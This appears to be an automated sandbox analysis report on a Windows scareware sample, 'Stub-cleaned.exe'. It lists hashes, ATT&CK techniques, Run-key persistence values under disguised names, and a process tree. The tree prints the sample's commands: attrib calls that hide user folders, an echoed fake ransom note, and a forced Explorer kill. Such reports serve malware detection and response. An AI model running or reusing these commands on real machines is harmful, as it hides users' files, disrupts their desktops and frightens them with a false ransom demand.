364a9259a487115b609783b47cb00605a2966bebd2efa511708ca3966724c333

Analysis

user interaction
yes
max time kernel
150s
max time network
130s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/07/2026, 10:23

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General

Target
Stub-cleaned.exe
Size 1.8MB
Sample260717-mesnmsgz8p
SHA256 364a9259a487115b609783b47cb00605a2966bebd2efa511708ca3966724c333
MD5 5cfa4ed907d53127044ec7bf9fd73f77
SHA1 078a9f76c02c7f33ff9ec37cd24fa47ec4dbf98b
SHA512 773e68181216f51ccd85bf18ed8f1fe9b8c658ea10ee1d82cea631b12b7f65664aa7adbf7cb8255e601c0a1686c9fcae3a9bf08f57d26670de90bb88471f52e9
SSDEEP 49152:w4Fq+sL2An+xwULQBK+orsQ5PNzdNvtoB7mQvxypk:w4Fq+sLiZWKbswd3I7m
TLSH
T188851259534B8A7DC7BD837DE56022090BF45227C123FB8C98A5E4FC5A2B3139B52B87
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Stub-cleaned.exe\" -startup"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Stub-cleaned.exe\""	Stub-cleaned.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2812	cmd.exe
2464	cmd.exe
4796	cmd.exe
3476	cmd.exe
1472	cmd.exe
4208	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4224	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5732	Stub-cleaned.exe
5732	Stub-cleaned.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5732	Stub-cleaned.exe
Token: SeDebugPrivilege	4224	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 5732 wrote to memory of 1472	5732	Stub-cleaned.exe	100
PID 5732 wrote to memory of 3476	5732	Stub-cleaned.exe	101
PID 5732 wrote to memory of 4796	5732	Stub-cleaned.exe	102
PID 5732 wrote to memory of 2464	5732	Stub-cleaned.exe	103
PID 5732 wrote to memory of 2812	5732	Stub-cleaned.exe	104
PID 5732 wrote to memory of 4208	5732	Stub-cleaned.exe	105
PID 5732 wrote to memory of 4224	5732	Stub-cleaned.exe	106
PID 3476 wrote to memory of 4804	3476	cmd.exe	115
PID 1472 wrote to memory of 4248	1472	cmd.exe	116
PID 4796 wrote to memory of 1440	4796	cmd.exe	117
PID 2464 wrote to memory of 5560	2464	cmd.exe	118
PID 2812 wrote to memory of 2460	2812	cmd.exe	119
PID 4208 wrote to memory of 3308	4208	cmd.exe	120
PID 3476 wrote to memory of 3084	3476	cmd.exe	122
PID 2464 wrote to memory of 4608	2464	cmd.exe	123
PID 4208 wrote to memory of 4952	4208	cmd.exe	124
PID 4796 wrote to memory of 2008	4796	cmd.exe	125
PID 2812 wrote to memory of 3324	2812	cmd.exe	126
PID 1472 wrote to memory of 5756	1472	cmd.exe	127

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2460	attrib.exe
4952	attrib.exe
3324	attrib.exe
5756	attrib.exe
2008	attrib.exe
4804	attrib.exe
3308	attrib.exe
5560	attrib.exe
1440	attrib.exe
4248	attrib.exe
3084	attrib.exe
4608	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe
"C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4248
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5756
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3476
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4804
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3084
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1440
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2008
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5560
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4608
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2460
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3324
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4208
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:3308
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4952
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4224

C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe
"C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe"
1⤵
PID:4876

C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe
"C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe" -startup
1⤵
PID:676

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

info-Locker.txt

Path C:\Users\Admin\Downloads\info-Locker.txt
Size 73B
SHA256 a7676df92b8075611f032e16eef390eb3974865807e25171ae2c8de44e8ea7e8
MD5 8df1ffee86e8eaf77324ba078fec3dc3
SHA1 abdebf67c231612e17e6f84d4a8d43fd0ebf5d11
SHA512 2038f87028ecd1aeac1fa81e0a3044e868a6b28951c31ad17e8d2a31bcbf43508bd74eaf6b060d936fbb48b756b0c6936d1a6a3553bef972c65018423103e6a6
TLSH
T144A011002C28A2C820A220F2BE32A00028B8A80C20232C82820022A320208C02AAA820
MD5 SHA1 SHA512 TLSH

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memory/4876-13-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/4876-16-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/4876-15-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/4876-14-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-5-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-3-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-7-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-8-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-9-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-10-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-12-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-0-0x00007FF83E9BF000-0x00007FF83E9C0000-memory.dmp

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memory/5732-4-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-6-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-2-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-1-0x0000000000980000-0x0000000000B4A000-memory.dmp

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memory/5732-29-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-30-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-31-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-32-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-33-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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memory/5732-34-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

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